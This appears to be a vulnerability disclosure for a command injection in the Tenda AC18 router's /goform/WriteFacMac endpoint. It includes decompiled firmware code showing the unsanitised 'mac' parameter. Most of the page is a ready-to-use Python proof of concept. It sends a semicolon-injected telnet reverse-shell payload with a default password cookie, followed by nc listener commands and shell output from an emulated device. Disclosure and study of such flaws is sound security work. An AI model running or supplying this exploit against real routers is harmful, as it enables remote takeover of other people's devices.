

main ▾

...

Router / Tenda / AC18 / RCE_1.md



wshidamowang Update RCE_1.md

History

1 contributor

41 lines (30 sloc) | 1.57 KB

...

Vendor:Tenda <https://www.tenda.com.cn/default.html> product:AC18 version:V15.03.05.19 and V15.03.05.05 type:Arbitrary Remote Command Execution author:WuShaoZhen institution:WuShaoZhen@Xiangtan University

Vulnerability description:

I found an Arbitrary Command Execution vulnerability in the router's web server--
/bin/httpd of squashfs filesystem. While processing the mac parameters for a post request(when an attacker accesses ip/goform/WriteFacMac), the value is directly passed to doSystem, which causes a RCE. The details are shown below:

```
sub_16FE4("expandDlnaFile", formExpandDlnaFile);
sub_16FE4("ate", TendaAte);
sub_16FE4("exeCommand", formexeCommand);
sub_16FE4("WriteFacMac", formWriteFacMac); // here 11111
sub_16FE4("MfgTest", formMfgTest);
sub_16FE4("TendaModelStatus", formTendaModelStatus);
sub_FF18("GetPortShow", aspGetPortShow);
sub_FF18("getcfm", aspGetCfm);
```

```
void __fastcall formWriteFacMac(_DWORD *a1)
{
    char *v2; // [sp+14h] [bp-10h]
    v2 = ParameterGet(a1, "mac", "00:01:02:11:22:33");//
                                                    // Assign the mac parameter of the post method accessing /ip/goform/WriteFacMac to the v2 pointer
                                                    //
    sub_2C204(a1, "modify mac only.");
    doSystemCmd("cfm mac %s", v2); // There is the command injection vulnerability
    sub_2C74C(a1, 200);
}
```

Close the previous command with a semicolon and then cause an Arbitrary Remote Command Execution

Poc:

```
import requests
from pwn import*

ip = "192.168.211.128" #You Tenda AC18 Router IP
url = "http://" + ip + "/goform/WriteFacMac"
print(url)

#payload = ";cmd"
#payload = ";telnet ip port1 | /bin/sh | telnet ip port2"
payload = ";telnet 127.0.0.1:1111 | /bin/sh | telnet 127.0.0.1:2222"

cookie = {"Cookie":"password=12345"}
data = {"mac": payload}
response = requests.post(url, cookies=cookie, data=data)
print(response.text)
print("HackAttackSuccess!")
```

Use the above POC to play shell through telnet You can get a very stable shell

```
system$ nc -nlvp 1111
Listening on 0.0.0.0 1111
Connection received on 127.0.0.1 38414
ls
uname -a
```

```
terminal - python2 1.py
```

```
sudo chroot ./qemu-arm-static ./bin/httpd_patch
```

```
python2 1.py
```

```
nc -nlvp 1111
```

```
×
```

```
nc -nlvp 2222
```

```
flag.txt
home
init
lib
mnt
proc
qemu-arm-static
qemu_cfm_20220522-090101_3302.core
qemu_cfm_20220522-090102_3319.core
qemu_cfm_20220522-090127_3361.core
qemu_httpd_patch_20220520-032521_2141.core
qemu_httpd_patch_20220520-033433_2367.core
qemu_httpd_patch_20220520-033503_2402.core
root
sbin
sys
tmp
usr
var
webroot
webroot_ro
Linux CTF 5.4.0-104-generic #118-Ubuntu SMP Wed Mar 2 19:02:41 UTC 2022 arm
```